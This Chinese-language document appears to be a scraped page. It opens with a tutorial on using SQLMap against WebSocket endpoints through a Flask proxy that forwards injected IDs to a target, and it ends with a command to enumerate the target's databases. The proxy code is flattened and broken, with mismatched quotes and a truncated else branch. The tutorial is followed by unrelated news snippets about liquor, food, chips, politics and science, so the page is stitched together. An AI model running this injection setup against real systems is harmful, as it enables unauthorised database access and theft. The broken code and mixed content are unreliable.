通过websockets的SQLMap
SQLMap是一个强大的开源工具,广泛用于检测和利用网络应用中的SQL注入漏洞。它简化了识别SQLi漏洞的过程,确定数据库的类型,并从数据库中提取敏感信息。
然而,SQLMap也有一些限制。例如,它可能不支持某些类型的请求,如通过网络套接字发出的请求。此外,单独使用SQLMap处理复杂的目标可能是一种挑战。
在这篇文章中,我们将探讨解决这些问题的可能办法,它只需要最小的努力,也使使用SQLMap更加简单。
这个想法
为了简化这一过程,我们的想法是建立一个假的服务器作为中间人。通过这种方法,SQLMap将使用一种通用格式向假服务器发出请求,然后假服务器将向实际目标发出更复杂的请求。
通过这种方式,SQLMap可以用来测试假的服务器,它作为真实目标的代理。在处理复杂的目标或SQLMap不支持的请求时,这种方法可能特别有用。
准备好环境
为了建立服务器,我们将使用Python以及Flask和Websocket库。为了开始工作,我们将创建一个虚拟环境,并使用pip安装必要的软件包。python3 -m venv .venv source .venv/bin/activate python3 -m pip install flask websocket
一旦安装完成,可以用一个简单的命令启动服务器。默认情况下,它将通过5000端口在localhost上可用。flask run 主服务器
为了设置服务器,我们需要做的就是定义一个端点,该端点应该接受一个或多个查询参数作为输入,并使用它们来创建请求。from flask import Flask, request from websocket import create_connection app = Flask(__name__) ws_url = "ws://website.com" # put here the ws base url # it expects a request like /?query=something @app.route("/") def handle(): # query is the query param name used by this endpoint args = request.args id = args.get("query") ws = create_connection(ws_url) # in this example, the websocket endpoint # expects a json with an id parameter # that is vulnerable to sqli payload = "{"id":"%s"}" % id ws.send(payload) res = ws.recv() ws.close() if res: return res else:
在这段代码中,受害者预计会收到一个包含有ID的JSON对象的websocket消息。服务器拦截SQLMap请求,提取作为查询的ID,并将其发送到实际目标。这使得SQLMap可以被用来测试假的服务器,而假的服务器作为真正目标的代理。
需要注意的是,在执行SQLMap之前,服务器必须正在运行。另外,要注意把这个文件称为 "app.py",以使它能被flask识别。否则,你应该改变FLASK_APP环境变量的值。运行SQLMap
要运行SQLMap,你只需要提供包括查询参数的正确URL,SQLMap会处理剩下的事情。
一旦SQLMap被执行,它将能够通过我们创建的假服务器来扫描受害者。sqlmap -u "http://localhost:5000/?query=1" --batch --dbs
15块一瓶的牛栏山,明知是勾兑酒却能年销百亿,为啥这么多人喝?我国是酒的发源地,已经有着数千年的酒文化历史了自然,我国所产的酒也是种类丰富,好酒名酒更是层出不穷。那么大家觉着我国的什么酒最好?平时都喝什么酒呢?相信说到好酒,大家肯定会不约而同
木耳切记不要用清水泡,多加2样,泡发只需3分钟,清脆爽口又解馋头条创作挑战赛黑木耳是我国珍贵的药食两用的真菌,也是世界上公认的保健食品,含有铁钙磷等多种物质,是名副其实的菌中之王。很多人都对黑木耳情有独钟,天热的时候来一盘凉拌木耳,天冷了又能
俄罗斯重工业强大,为何却造不出世界名车?这几年的日子越来越难熬了,我今天早上刷视频平台发现,人民币和美元都跌破7。3了。就连我们都遭遇了这种问题,更何况是深陷能源危机的欧洲,他们也不得不考虑自己的重工业和汽车产业到底该走
统一战线是凝聚人心汇聚力量的强大法宝深入学习宣传贯彻党的二十大精神作者舒启明习近平总书记在党的二十大报告中强调人心是最大的政治,统一战线是凝聚人心汇聚力量的强大法宝。完善大统战工作格局,坚持大团结大联合,动员全体中华
联发科技Dimensity9200比苹果M1更强大在移动处理器市场上,人们正在积极地争夺冠军,尽管实际上所有的奖品早已分发。目前,高通是旗舰智能手机市场的领导者它根据新技术流程以最高性能生产最佳解决方案。但中产阶级市场和入门级智能
行摄长白山李德福每一寸丈量,每一帧镜头,讲述长白山行摄长白山系列之一我们看到过很多绝美的长白山摄影图片,或宏伟或神秘,每一张都美轮美奂,你可知道这每一张照片的来之不易?你可知道这些照片背后的故事?每个人心里,每个人眼里,每一个镜头
研究发现汤加火山喷发羽流高57公里创纪录研究人员3日在科学杂志上发表论文说,汤加洪阿哈阿帕伊火山今年1月15日喷发的羽流高度达到57公里,是人类有记录以来观测到的最高火山羽流。论文主要作者牛津大学研究员西蒙普劳德在写给美
地球真的要被小行星撞到吗近日科学家监测到有小行星向地球轨道而来,假如真的撞向地球会发生什么?有人说小行星撞到地球会发生大规模的灭绝。我想和大家有个互动,问大家一个问题,假如地球毁灭了你提前知道了,你最想做
半导体材料GaN(氮化镓)的详细介绍三代半导体即宽禁带半导体,以碳化硅和氮化镓为代表,具备高频高效高功率耐高压耐高温抗辐射能力强等优越性能,切合节能减排智能制造信息安全等国家重大战略需求,是支撑新一代移动通信新能源汽
接近1纳米二维材料突破台积电的1纳米芯片制造工艺初具规模。据报道,台积电正筹划在台湾桃园建立一个1纳米晶圆厂。新的1纳米芯片生产工厂可能设立在龙潭区的一个工业园区,台积电已经在那里经营着两家半导体封装测
物理学家解思深院士逝世著名物理学家中国科学院院士纳米领域杰出科学家解思深因病医治无效,于11月2日在北京逝世,享年80岁。解思深,1942年2月生于山东青岛。1965年毕业于北京大学物理系,同年分配至宁